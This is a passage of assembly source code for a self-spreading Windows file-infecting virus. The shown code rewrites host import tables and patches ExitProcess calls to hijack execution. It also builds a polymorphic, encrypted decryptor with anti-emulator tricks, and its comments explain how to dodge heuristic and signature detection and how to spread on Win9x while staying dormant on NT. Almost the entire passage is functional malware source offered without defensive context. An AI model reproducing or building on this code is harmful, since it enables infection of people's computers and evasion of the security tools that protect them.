mov eax, [ebp+HeaderAddress] ; Get the import header addr.
|
|
mov ebx, [eax+80h]
|
|
or ebx, ebx
|
|
jz @@ImportsUpdated
|
|
call TranslateVirtualToPhysical ; Get the physical address.
|
|
or ebx, ebx ; If error, exit
|
|
jz @@ImportsUpdated
|
|
@@UpdateImports_Loop00:
|
|
mov eax, [ebx+0Ch] ; Get the RVA of the module name.
|
|
or eax, eax ; If no name, error!
|
|
jz @@ImportsUpdated
|
|
cmp eax, edi ; Fix it
|
|
jb @@UpdateImportsOK_01
|
|
add ebx, 0Ch
|
|
call AddUndoAction
|
|
add [ebx], ecx ; [EBX+0Ch]
|
|
sub ebx, 0Ch
|
|
|
|
|
|
@@UpdateImportsOK_01:
|
|
push ebx ; Initialize this flag
|
|
xor ebx, ebx
|
|
mov [ebp+Kernel32Imports], ebx
|
|
mov ebx, eax
|
|
call TranslateVirtualToPhysical ; Get the physical address
|
|
or ebx, ebx ; of the module name
|
|
jz @@UpdateImports_Next00
|
|
mov eax, [ebx] ; Check if it's KERNEL32
|
|
and eax, 1F1F1F1Fh
|
|
cmp eax, 'nrek' AND 1F1F1F1Fh
|
|
jnz @@UpdateImports_Next00
|
|
mov eax, [ebx+4]
|
|
and eax, 0FFFF1F1Fh
|
|
cmp eax, '23le' AND 0FFFF1F1Fh
|
|
jnz @@UpdateImports_Next00
|
|
mov eax, 1 ; If it is, set the flag
|
|
mov [ebp+Kernel32Imports], eax
|
|
@@UpdateImports_Next00:
|
|
pop ebx
|
|
|
|
|
|
mov eax, [ebx] ; Get the RVA to the function names
|
|
or eax, eax
|
|
jz @@UpdateImportsOK_04
|
|
|
|
push ebx ; Get the physical address of the
|
|
mov ebx, eax ; array
|
|
call TranslateVirtualToPhysical
|
|
mov eax, ebx
|
|
pop ebx
|
|
or eax, eax
|
|
jz @@UpdateImportsOK_04
|
|
@@UpdateImports_Loop01:
|
|
mov edx, [eax] ; Get an RVA from the array
|
|
or edx, edx
|
|
jz @@UpdateImportsOK_02
|
|
cmp edx, 80000000h ; Ordinal?
|
|
jae @@UpdateImports_UpdatedOK ; Then, don't update
|
|
|
|
mov esi, [ebp+Kernel32Imports] ; KERNEL32 module?
|
|
or esi, esi ; If not, don't check the
|
|
jz @@UpdateImports_NotKernel32 ; name
|
|
push ebx
|
|
mov ebx, edx
|
|
call TranslateVirtualToPhysical ; Get the physical address
|
|
or ebx, ebx ; of the function name
|
|
jz @@UpdateImports_UnknownFunction
|
|
mov esi, [ebx+2]
|
|
cmp esi, 'tixE' ; Check for ExitProcess
|
|
jz @@UpdateImports_ExitProcess00
|
|
cmp esi, 'MteG' ; Check for GetModuleHandle
|
|
jz @@UpdateImports_GetModuleHandle00
|
|
cmp esi, 'PteG' ; Check for GetProcAddress
|
|
jz @@UpdateImports_GetProcAddress00
|
|
cmp esi, 'triV' ; Check for VirtualAlloc
|
|
jnz @@UpdateImports_UnknownFunction
|
|
@@UpdateImports_VirtualAlloc:
|
|
mov esi, [ebx+0Bh]
|
|
cmp esi, 'loc'
|
|
jnz @@UpdateImports_UnknownFunction
|
|
xor esi, esi ; VirtualAlloc ID
|
|
jmp @@UpdateImports_SaveFunctionAddress
|
|
@@UpdateImports_GetProcAddress00:
|
|
mov esi, [ebx+6]
|
|
cmp esi, 'Acor'
|
|
jnz @@UpdateImports_UnknownFunction
|
|
mov esi, 1 ; GetProcAddress ID
|
|
jmp @@UpdateImports_SaveFunctionAddress
|
|
@@UpdateImports_ExitProcess00:
|
|
mov esi, [ebx+6]
|
|
cmp esi, 'corP'
|
|
jnz @@UpdateImports_UnknownFunction
|
|
mov esi, 2 ; ExitProcess ID
|
|
jmp @@UpdateImports_SaveFunctionAddress
|
|
@@UpdateImports_GetModuleHandle00:
|
|
mov esi, [ebx+0Ah]
|
|
cmp esi, 'naHe'
|
|
jnz @@UpdateImports_UnknownFunction
|
|
mov esi, [ebx+0Eh]
|
|
cmp esi, 'Aeld' ; Check for GetModuleHandleA
|
|
jz @@UpdateImports_GetModuleHandleAFound
|
|
cmp esi, 'Weld' ; Check for GetModuleHandleW
|
|
jnz @@UpdateImports_UnknownFunction
|
|
mov esi, 1
|
|
jmp @@UpdateImports_GetModuleHandleFound
|
|
@@UpdateImports_GetModuleHandleAFound:
|
|
xor esi, esi
|
|
@@UpdateImports_GetModuleHandleFound:
|
|
mov [ebp+GetModuleHandleMode], esi ; Set the mode: A or W
|
|
mov esi, 3 ; GetModuleHandle ID
|
|
@@UpdateImports_SaveFunctionAddress:
|
|
pop ebx
|
|
; EBX = Imports header
|
|
; EAX = Physical address of position in names array
|
|
push ebx
|
|
push eax
|
|
push ebx
|
|
mov ebx, [ebx] ; Fix the RVA into the array
|
|
call TranslateVirtualToPhysical
|
|
sub eax, ebx ; Position in array
|
|
pop ebx
|
|
add eax, [ebx+10h]
|
|
cmp eax, edi ; If EDI == -1, this is not fixed
|
|
jb @@UpdateImports_SetFunctionAddress
|
|
add eax, ecx
|
|
@@UpdateImports_SetFunctionAddress:
|
|
or esi, esi ; Set the function address
|
|
jz @@UpdateImports_SetVirtualAlloc
|
|
cmp esi, 1
|
|
jz @@UpdateImports_SetGetProcAddress
|
|
cmp esi, 2
|
|
jz @@UpdateImports_SetExitProcess
|
|
@@UpdateImports_SetGetModuleHandle:
|
|
mov [ebp+GetModuleHandleAddress], eax
|
|
jmp @@UpdateImports_FunctionSet
|
|
@@UpdateImports_SetVirtualAlloc:
|
|
mov [ebp+VirtualAllocAddress], eax
|
|
jmp @@UpdateImports_FunctionSet
|
|
@@UpdateImports_SetGetProcAddress:
|
|
mov [ebp+GetProcAddressAddress], eax
|
|
jmp @@UpdateImports_FunctionSet
|
|
@@UpdateImports_SetExitProcess:
|
|
mov [ebp+ExitProcessAddress], eax
|
|
@@UpdateImports_FunctionSet:
|
|
pop eax
|
|
@@UpdateImports_UnknownFunction:
|
|
@@UpdateImports_Continue00:
|
|
pop ebx
|
|
@@UpdateImports_NotKernel32:
|
|
cmp edx, edi
|
|
jb @@UpdateImports_UpdatedOK
|
|
push ebx
|
|
mov ebx, eax
|
|
call AddUndoAction ; Add the undo action for this
|
|
pop ebx ; address
|
|
add [eax], ecx
|
|
@@UpdateImports_UpdatedOK:
|
|
add eax, 4 ; Next array entry
|
|
jmp @@UpdateImports_Loop01
|
|
|
|
@@UpdateImportsOK_02:
|
|
mov eax, [ebx] ; Fix the array RVA itself
|
|
cmp eax, edi
|
|
jb @@UpdateImportsOK_03
|
|
call AddUndoAction
|
|
add [ebx], ecx
|
|
@@UpdateImportsOK_03:
|
|
add ebx, 10h ; Fix the RVA to the array of imported
|
|
mov eax, [ebx] ; functions. It holds the imported
|
|
cmp eax, edi ; addresses of the functions in run-time
|
|
jb @@UpdateImportsOK_04_ ; (but see below for a "cool"
|
|
; feature)
|
|
call AddUndoAction ; Add the undo action for this.
|
|
add eax, ecx
|
|
mov [ebx], eax
|
|
sub eax, ecx
|
|
@@UpdateImportsOK_04_:
|
|
sub ebx, 10h
|
|
@@UpdateImportsOK_04:
|
|
|
|
;; Big-time duddy-dudde chili-chap Micro$oft paranoical "optimization"
|
|
;; What are that thunks at +10h in import header? Just guess!!
|
|
;; I was amazed why the infected programs worked under WinNT but NOT under
|
|
;; win9x (just the opposite of what it happens normally). So, I supposed that
|
|
;; the values at this thunk were always updated with the kernel exported
|
|
;; addresses, so, just in case, it didn't matter if I updated also these
|
|
;; addresses. FALSE!! (now imagine lots of red lights and alarms). By any
|
|
;; dark reason, the win32 subsystem doesn't update that addresses if the
|
|
;; executable runs under the operating system where it was compiled or
|
|
;; was compiled for!! Windows NT updates this addresses ALWAYS, but not
|
|
;; Win9x, which uses the hardcoded API addresses that are already at the
|
|
;; executable (!!!!!!!!!!!!!!). So, if we don't touch this, all is fine.
|
|
;;
|
|
;; Idea: we can make EPO if we save this values and set our own ones. It will
|
|
;; only work under Win9x, something that it's fine if we are making a ring-0
|
|
;; virus.
|
|
|
|
; push ebx
|
|
; mov ebx, eax
|
|
; call TranslateVirtualToPhysical
|
|
; or ebx, ebx
|
|
; jz @@NextRecord
|
|
; @@LoopUpdateThunks:
|
|
; mov eax, [ebx]
|
|
; or eax, eax
|
|
; jz @@NextRecord
|
|
; cmp eax, edi
|
|
; jb @@ThunkUpdated
|
|
; call AddUndoAction
|
|
; add eax, ecx
|
|
; mov [ebx], eax
|
|
; @@ThunkUpdated:
|
|
; add ebx, 4
|
|
; jmp @@LoopUpdateThunks
|
|
; @@NextRecord:
|
|
; pop ebx
|
|
|
|
|
|
add ebx, 14h ; Get next import header
|
|
jmp @@UpdateImports_Loop00
|
|
|
|
@@ImportsUpdated:
|
|
pop esi
|
|
ret
|
|
UpdateImports endp
|
|
|
|
;; Let's patch ExitProcess with several methods. The size of the patch must
|
|
;; be less than 6 bytes.
|
|
;; An alternate way has been added, which only works for Win9x: the Import
|
|
;; table is patched but not the call, so under Win9x, if the system coincides
|
|
;; with the version expressed in the header, the call will be made. This makes
|
|
;; a virus that is dormant under WinNT but spreads on Win9x.
|
|
;; ESI = Address to patch
|
|
;; EDX = Address to point to
|
|
PatchExitProcess proc
|
|
push eax
|
|
mov eax, 1
|
|
call RandomBoolean_X004_7 ; WEIGHT_X005
|
|
or eax, eax
|
|
jz @@PUSHRET
|
|
@@IndirectDisplacement: ; Let's make "JMP/PUSH [Address]"
|
|
push ecx
|
|
mov eax, [ebp+TextHeader] ; Get the code section address
|
|
mov ecx, [eax+10h] ; Get the size in ECX
|
|
mov eax, [eax+14h]
|
|
add eax, [ebp+MappingAddress]
|
|
push edx
|
|
sub ecx, 4
|
|
@@LoopFindHole:
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jz @@NotFound ; Search for a hole of the type
|
|
mov edx, [eax] ; "INT 3 padded" of at least DWORD
|
|
cmp edx, 0CCCCCCCCh ; sized
|
|
jz @@HoleFound
|
|
add eax, 1
|
|
jmp @@LoopFindHole
|
|
@@NotFound:
|
|
pop edx ; If we didn't find anything, make the
|
|
pop ecx ; other method
|
|
jmp @@PUSHRET
|
|
@@HoleFound:
|
|
pop edx ; Put the address to jump at the hole,
|
|
mov [eax], edx ; overwriting the padding.
|
|
mov ecx, [esi+4]
|
|
and ecx, 0FFh ; Now look the way ExitProcess is made.
|
|
cmp ecx, 0C3h ; Is there a RET after it? (the compilers
|
|
; put them)
|
|
jz @@RetInserted ; If it is, put "PUSH DWORD PTR [ExitP]"
|
|
sub eax, [ebp+MappingAddress]
|
|
mov ecx, [ebp+TextHeader]
|
|
sub eax, [ecx+14h] ; Get the address of the hole
|
|
add eax, [ecx+0Ch]
|
|
mov ecx, [ebp+HeaderAddress]
|
|
add eax, [ecx+34h]
|
|
|
|
mov [esi], eax ; Overwrite the call with the
|
|
mov eax, 25h ; hole address, and set "JMP"
|
|
mov [esi-1], al ; instruction.
|
|
pop ecx
|
|
jmp @@Return
|
|
@@RetInserted:
|
|
mov eax, 35h ; Set "PUSH DWORD PTR [ExitProcess]"
|
|
mov [esi-1], al ; and use the RET before to jump.
|
|
pop ecx
|
|
jmp @@Return
|
|
@@PUSHRET: ; Make "PUSH Address/RET"
|
|
mov eax, 68h
|
|
mov [esi-2], eax
|
|
mov [esi-1], edx
|
|
mov eax, 0C3h
|
|
mov [esi+3], al
|
|
|
|
@@Return: pop eax
|
|
ret
|
|
PatchExitProcess endp
|
|
;;
|
|
;;
|
|
;; End of the infector
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
;; KEYWORD: Key_!MakePoly
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;; ********************************************************************** ;;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; The polymorphic engine
|
|
;; ----------------------
|
|
;;
|
|
;; This is not a polymorphic engine like I made in other viruses, since I
|
|
;; don't code by myself any machine code: I let the metamorphic engine to
|
|
;; do it, calling XpandCode and AssembleCode to build the instructions. So,
|
|
;; the decryptor is always constructed in my pseudoassembler.
|
|
;;
|
|
;; The decryptor is sometimes only a "mover": since the virus can be not
|
|
;; encrypted once in every 16 times, in fact only copies the data to the
|
|
;; reserved memory. This avoids lots of heuristic alarms.
|
|
;;
|
|
;; "Branching", as I did in TUAREG, is not made, but PRIDE is. The decryption
|
|
;; will be non-linear, with a control of buffer-overflow that allows me to
|
|
;; have a not-aligned buffer size, but still making random index accessing.
|
|
;;
|
|
;; The decryptor will allocate virtual memory at the beginning to copy the
|
|
;; virus there, calling to the imported function. If the function is not
|
|
;; imported by the host, some code will be added to import it and call it.
|
|
;; After that, We'll push the parameters needed for the virus working and we
|
|
;; will copy the virus to the allocated memory, decrypting it on the fly and
|
|
;; accessing that data with apparentlu random offsets.
|
|
;;
|
|
;; It has also the chance of making a little anti-emulator trick at the
|
|
;; beginning: once in every 4 decryptors, a RDTSC/RET like instruction will
|
|
;; be constructed on runtime, called, and a random bit from EAX checked for
|
|
;; 0 or 1, ending execution if the condition is met. This makes the virus to
|
|
;; execute randomly, and forcing a detection by signature or heuristics.
|
|
;;
|
|
|
|
MakeDecryptor proc
|
|
; We need:
|
|
; The instruction table stored at [InstructionTable]
|
|
; A buffer to assemble the decryptor at [NewAssembledCode]
|
|
; The number of jump labels at [NumberOfLabels]
|
|
; A table of labels at [LabelTable], with the instruction address at +4
|
|
; The address of the last instruction at [AddressOfLastInstruction]
|
|
|
|
mov [ebp+InstructionTable], edi ; Set the pointer
|
|
xor eax, eax
|
|
mov [ebp+NumberOfLabels], eax ; Initialize these vars.
|
|
mov [ebp+NumberOfVariables], eax
|
|
mov eax, edi
|
|
add eax, 80000h
|
|
mov [ebp+ExpansionResult], eax
|
|
|
|
mov eax, [ebp+RVA_DataHole] ; Get the virtual address
|
|
mov ecx, [ebp+HeaderAddress] ; of the data hole.
|
|
add eax, [ecx+34h]
|
|
mov [ebp+StartOfEncryptedData], eax
|
|
|
|
mov edx, [ebp+RelocHeader] ; Check if we have a .reloc
|
|
or edx, edx ; header.
|
|
jnz @@SetDataAtEndOfCryptedCode
|
|
|
|
mov ecx, [ebp+DataHeader] ; If we haven't a .reloc,
|
|
mov edx, [ebp+HeaderAddress] ; we put the data buffer
|
|
call Random ; address at the .data
|
|
and eax, 0FCh ; section with a random
|
|
add eax, [ecx+0Ch] ; displacement start offset
|
|
add eax, [edx+34h] ; to avoid fixed addresses.
|
|
jmp @@SetDecryptorDataSection ; Since all in the app has
|
|
; finished (we arrived here with an ExitProcess
|
|
; patch) we can overwrite .data as we want.
|
|
|
|
@@SetDataAtEndOfCryptedCode:
|
|
add eax, [ebp+SizeOfNewCode] ; Get the size of the new
|
|
and eax, 0FFFFFFFCh ; assembled code and set the
|
|
add eax, 4 ; decryptor's data frame at
|
|
@@SetDecryptorDataSection: ; the end of the encrypted
|
|
mov [ebp+Decryptor_DATA_SECTION], eax ; part.
|
|
|
|
mov eax, 1 ; Set this flag for the
|
|
mov [ebp+CreatingADecryptor], eax ; expander.
|
|
|
|
call Poly_MakeRandomExecution ; Create a random-execution
|
|
; snippet to fuck emulators
|
|
; a little ;)
|
|
|
|
mov eax, [ebp+VirtualAllocAddress]
|
|
or eax, eax ; Does the app import VirtualAlloc?
|
|
jnz @@VirtualAllocAlreadyImported ; If it does, jump and
|
|
; continue
|
|
|
|
;; Here we are going to create a code that imports VirtualAlloc using the
|
|
;; functions GetModuleHandleA/W and GetProcAddress.
|
|
mov eax, [ebp+GetModuleHandleMode]
|
|
or eax, eax ; Check if GetModuleHandle
|
|
jnz @@GetModuleHandleUNICODE ; is ASCII or UNICODE
|
|
|
|
@@GetModuleHandleASCII:
|
|
call Random
|
|
and eax, 20202020h ; Set 'KERN' with random
|
|
add eax, 'NREK' ; up/downcase
|
|
mov [ebp+Poly_FirstPartOfFunction], eax
|
|
call Random
|
|
and eax, 00002020h
|
|
add eax, '23LE' ; Set 'EL32' with random
|
|
mov [ebp+Poly_SecondPartOfFunction], eax ; up/downcase
|
|
mov eax, 2
|
|
call RandomBoolean_X004_7 ; WEIGHT_X006
|
|
or eax, eax
|
|
jz @@DontSetExtension0 ; Select randomly if we put
|
|
call Random ; the extension or not. If
|
|
and eax, 20202000h ; we don't, GetModuleHandle
|
|
add eax, 'LLD.' ; puts ".DLL" for us
|
|
@@DontSetExtension0:
|
|
mov [ebp+Poly_ThirdPartOfFunction], eax
|
|
xor eax, eax
|
|
mov [ebp+AdditionToBuffer], eax ; Set it at the first part
|
|
; of the data buffer
|
|
call Poly_SetFunctionName ; Make the "make name" code
|
|
jmp @@NameOfModuleInitialized ; Jump to call GetMod.H.()
|
|
|
|
@@GetModuleHandleUNICODE: ; UNICODE
|
|
call Random
|
|
and eax, 00200020h ; Set 'KE' (random upcase)
|
|
add eax, 0045004Bh ; 'EK'
|
|
mov [ebp+Poly_FirstPartOfFunction], eax
|
|
call Random
|
|
and eax, 00200020h
|
|
add eax, 004E0052h ; 'NR' ; Set 'RN'
|
|
mov [ebp+Poly_SecondPartOfFunction], eax
|
|
call Random
|
|
and eax, 00200020h
|
|
add eax, 004C0045h ; 'LE' ; Set 'EL'
|
|
mov [ebp+Poly_ThirdPartOfFunction], eax
|
|
xor eax, eax
|
|
mov [ebp+AdditionToBuffer], eax
|
|
call Poly_SetFunctionName ; Make the name
|
|
|
|
mov eax, 00320033h ; '23' ; Set '32'
|
|
mov [ebp+Poly_FirstPartOfFunction], eax
|
|
mov eax, 2
|
|
call RandomBoolean_X004_7 ; WEIGHT_X006
|
|
or eax, eax
|
|
jz @@DontSetExtension1 ; Set (or not) the extension
|
|
call Random ; ".DLL"
|
|
and eax, 00200000h
|
|
add eax, 0044002Eh ; 'D.'
|
|
@@DontSetExtension1:
|
|
mov [ebp+Poly_SecondPartOfFunction], eax
|
|
or eax, eax
|
|
jz @@DontSetExtension2
|
|
call Random
|
|
and eax, 00200020h
|
|
add eax, 004C004Ch ; 'LL'
|
|
@@DontSetExtension2:
|
|
mov [ebp+Poly_ThirdPartOfFunction], eax
|
|
mov eax, 0Ch
|
|
mov [ebp+AdditionToBuffer], eax
|
|
call Poly_SetFunctionName ; Make that part of the name
|
|
|
|
@@NameOfModuleInitialized:
|
|
call Poly_SelectThreeRegisters ; Make a "Call
|
|
mov edx, [ebp+Decryptor_DATA_SECTION] ; GetModuleHandle"
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoMOVRegValue
|
|
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoPUSHReg ; Push the module name
|
|
|
|
mov ecx, [ebp+GetModuleHandleAddress]
|
|
call Poly_DoCALLMem ; Call the function
|
|
|
|
mov eax, 0F6h ; Make an APICALL_STORE [Data+10h]
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Decryptor_DATA_SECTION]
|
|
add eax, 10h
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 'triV' ; Now make the name of the function to
|
|
mov [ebp+Poly_FirstPartOfFunction], eax ; get the address,
|
|
mov eax, 'Alau' ; in this case
|
|
mov [ebp+Poly_SecondPartOfFunction], eax ; VirtualAlloc()
|
|
mov eax, 'coll'
|
|
mov [ebp+Poly_ThirdPartOfFunction], eax
|
|
xor eax, eax
|
|
mov [ebp+AdditionToBuffer], eax
|
|
call Poly_SetFunctionName ; Set the function name
|
|
|
|
call Poly_SelectThreeRegisters
|
|
mov edx, [ebp+Decryptor_DATA_SECTION]
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoMOVRegValue
|
|
mov ecx, [ebp+BufferRegister] ; Make the PUSH of the
|
|
call Poly_DoPUSHReg ; offset to the name
|
|
|
|
call Poly_SelectThreeRegisters ; Make the PUSH of the
|
|
mov ecx, [ebp+IndexRegister] ; module handle
|
|
mov ebx, 10h
|
|
call Poly_DoMOVRegMem
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_DoPUSHReg
|
|
|
|
mov ecx, [ebp+GetProcAddressAddress]
|
|
call Poly_DoCALLMem ; Call to GetProcAddress()
|
|
|
|
mov eax, 0F6h ; Insert an APICALL_STORE [Data]
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Decryptor_DATA_SECTION]
|
|
add eax, 10h
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
; Set the function address. We don't
|
|
mov [ebp+VirtualAllocAddress], eax ; check if it's OK
|
|
; because we know it's
|
|
; OK.
|
|
@@VirtualAllocAlreadyImported:
|
|
mov eax, 8 ; Initialize the registers
|
|
mov [ebp+BufferRegister], eax ; used by the decryptor
|
|
mov [ebp+CounterRegister], eax
|
|
mov [ebp+IndexRegister], eax
|
|
|
|
mov edx, 4 ; Push the values for allocating
|
|
call Poly_DoPUSHValue ; memory: PAGE_READWRITE and
|
|
mov edx, 1000h ; MEM_COMMIT
|
|
call Poly_DoPUSHValue
|
|
call Random
|
|
and eax, 01F000h ; Allocate 3407872 bytes plus
|
|
mov edx, 340000h ; a random up to 128 Kb.
|
|
add edx, eax
|
|
call Poly_DoPUSHValue ; Push the value
|
|
xor edx, edx ; Push 0 (reserve where the
|
|
call Poly_DoPUSHValue ; system wants)
|
|
|
|
mov ecx, [ebp+VirtualAllocAddress]
|
|
call Poly_DoCALLMem ; Call to VirtualAlloc
|
|
|
|
mov eax, 0F6h ; APICALL_STORE [Data]
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Decryptor_DATA_SECTION]
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
; Get three new registers
|
|
call Poly_SelectThreeRegisters
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
xor ebx, ebx ; Get the returned value in a
|
|
call Poly_DoMOVRegMem ; register
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_MakeCheckWith0 ; Make a check with NULL to know
|
|
; if the function worked
|
|
mov eax, 74h ; JZ -> if VirtualAlloc returned
|
|
mov [edi], eax ; NULL, jump to ExitProcess
|
|
mov [ebp+Poly_Jump_ErrorInVirtualAlloc], edi ; Save the
|
|
add edi, 10h ; offset for later completion
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov edx, [ebp+New_CODE_SECTION]
|
|
call Poly_DoADDRegValue ; Add the offset of CODE_SECTION
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov ebx, 10h ; Save it at +10h in decryptor's
|
|
call Poly_DoMOVMemReg ; data frame
|
|
|
|
; Now we push parameters for the virus. We pass all the new section
|
|
; addresses, the flag of GetModuleHandle usage (ASCII or UNICODE) and
|
|
; the Delta Register the virus is using. We also push the addresses of
|
|
; the functions GetModuleHandle and GetProcAddress, so the virus hasn't
|
|
; to scan the KERNEL32 to get the values of the functions, breaking
|
|
; another heuristic alarm. The values of the passed functions have the
|
|
; upper bits of the sections with a random value, since in the
|
|
; entrypoint our code will anulate that bits (this is only to make the
|
|
; passing of values more random).
|
|
call Random
|
|
and eax, 0FC000000h
|
|
mov edx, [ebp+New_DISASM2_SECTION]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue ; Push DISASM2_SECTION address
|
|
|
|
call Random
|
|
and eax, 0FC000000h
|
|
mov edx, [ebp+New_DATA_SECTION]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue ; Push the DATA_SECTION address
|
|
|
|
call Random
|
|
and eax, 0FC000000h
|
|
mov edx, [ebp+New_BUFFERS_SECTION]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue ; Push the BUFFERS_SECTION address
|
|
|
|
call Random
|
|
and eax, 0FC000000h
|
|
mov edx, [ebp+New_DISASM_SECTION]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue ; Push the DISASM2_SECTION address
|
|
|
|
call Random
|
|
and eax, 0FC000000h
|
|
mov edx, [ebp+New_CODE_SECTION]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue ; Push the CODE_SECTION address
|
|
|
|
mov edx, [ebp+GetProcAddressAddress]
|
|
call Poly_DoPUSHValue ; Push the address of GetProcAddress
|
|
|
|
mov edx, [ebp+GetModuleHandleAddress]
|
|
call Poly_DoPUSHValue ; Push the address of GetModuleHandle
|
|
|
|
mov edx, [ebp+TranslatedDeltaRegister]
|
|
shl edx, 1
|
|
mov eax, [ebp+GetModuleHandleMode]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue ; Push the delta register *2 and
|
|
; the A/W flag in the bit 0.
|
|
|
|
|
|
call Random ; Get the first PRIDE value
|
|
mov ebx, [ebp+SizeOfNewCodeP2]
|
|
sub ebx, 4
|
|
and eax, ebx
|
|
mov [ebp+Poly_InitialValue], eax
|
|
mov [ebp+CounterValue], eax
|
|
call Random ; Get the second PRIDE value
|
|
sub ebx, 4
|
|
and eax, ebx
|
|
mov [ebp+Poly_Addition], eax
|
|
|
|
call Random ; Get the initial random index
|
|
mov ebx, [ebp+SizeOfNewCodeP2]
|
|
sub ebx, 4
|
|
and eax, ebx
|
|
mov [ebp+IndexValue], eax
|
|
|
|
call Random ; Set this register to a random
|
|
mov [ebp+BufferValue], eax ; value
|
|
|
|
call Poly_SelectThreeRegisters ; Select three registers to
|
|
; use as Index, Counter and Buffer
|
|
call Poly_SetValueToRegisters
|
|
; Set the values obtained before
|
|
|
|
call Poly_InsertLabel ; Set the label for looping
|
|
mov [ebp+Poly_LoopLabel], eax
|
|
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_DoPUSHReg ; Save the register
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov edx, [ebp+CounterRegister]
|
|
call Poly_DoXORRegReg ; XOR Index with Counter (get
|
|
; a pseudo-random index for decrypt)
|
|
|
|
mov eax, 38h ; Check if we overpass the data size
|
|
mov [edi], eax
|
|
mov eax, [ebp+IndexRegister]
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+SizeOfNewCode]
|
|
and eax, 0FFFFFFFCh
|
|
add eax, 4
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 73h ; If we overpass it, go to get the
|
|
mov [edi], eax ; next pseudorandom index
|
|
mov [ebp+Poly_ExcessJumpInstruction], edi
|
|
add edi, 10h ; Save this address for later
|
|
|
|
mov eax, 42h
|
|
mov [edi], eax ; Get the DWORD at that index
|
|
mov eax, [ebp+IndexRegister]
|
|
add eax, 0800h
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+StartOfEncryptedData]
|
|
mov [edi+3], eax
|
|
mov eax, [ebp+BufferRegister]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 3 ; WEIGHT_X007
|
|
call RandomBoolean_X004_7 ; Select if we encrypt or not
|
|
; genetically.
|
|
; If we don't encrypt, we only
|
|
or eax, eax ; copy directly the DWORD to
|
|
jz @@NoEncryption ; Memory
|
|
call Random ; Get a random Key
|
|
@@NoEncryption:
|
|
mov [ebp+EncryptionKey], eax
|
|
|
|
mov ecx, eax ; Set the decryption key in ECX
|
|
or ecx, ecx ; 0? (i.e. don't encrypt data)
|
|
jz @@DontMakeDecryption
|
|
;@@OtherMethod:
|
|
; WEIGHT_X008,WEIGHT_X009
|
|
xor eax, eax
|
|
call RandomBoolean_X008_11 ; Select an encryption method:
|
|
or eax, eax ; ADD, XOR or SUB. We select
|
|
jz @@MethodXOR_prev ; them with the genetic weights.
|
|
mov eax, 1
|
|
call RandomBoolean_X008_11
|
|
jmp @@SetMethod
|
|
@@MethodXOR_prev:
|
|
mov eax, 2
|
|
@@SetMethod:
|
|
mov [ebp+TypeOfEncryption], eax ; Set the type
|
|
mov ecx, [ebp+EncryptionKey] ; Get the encryption key
|
|
or eax, eax
|
|
jz @@MethodADD ; ADD?
|
|
cmp eax, 1
|
|
jz @@MethodSUB ; SUB?
|
|
@@MethodXOR:
|
|
mov eax, 30h ; Construct XOR
|
|
jmp @@MakeDecryption
|
|
@@MethodADD:
|
|
neg ecx ; Negate the key for ADD
|
|
@@MethodSUB:
|
|
xor eax, eax ; Construct ADD with the key
|
|
@@MakeDecryption: ; negated if we make ADD or not
|
|
; if we make SUB
|
|
mov [edi], eax
|
|
mov eax, [ebp+BufferRegister]
|
|
mov [edi+1], eax ; Complete the decryption instrc.
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
|
|
@@DontMakeDecryption:
|
|
mov eax, 02h ; Add the address of the allocated
|
|
mov [edi], eax ; memory (with CODE_SECTION added
|
|
mov eax, 0808h ; too).
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Decryptor_DATA_SECTION]
|
|
add eax, 10h
|
|
mov [edi+3], eax
|
|
mov eax, [ebp+IndexRegister] ; Complete the instruction
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 43h ; Make a MOV of the value to the
|
|
mov [edi], eax ; place on the allocated memory
|
|
mov eax, [ebp+IndexRegister] ; where it has to be
|
|
add eax, 0800h
|
|
mov [edi+1], eax
|
|
; mov eax, [ebp+New_CODE_SECTION]
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
mov eax, [ebp+BufferRegister]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
call Poly_InsertLabel ; Set the label where we jump
|
|
mov ebx, [ebp+Poly_ExcessJumpInstruction] ; when the
|
|
mov [ebx+1], eax ; index exceeds the data size
|
|
; and complete the JAE from
|
|
; before that must jump here.
|
|
|
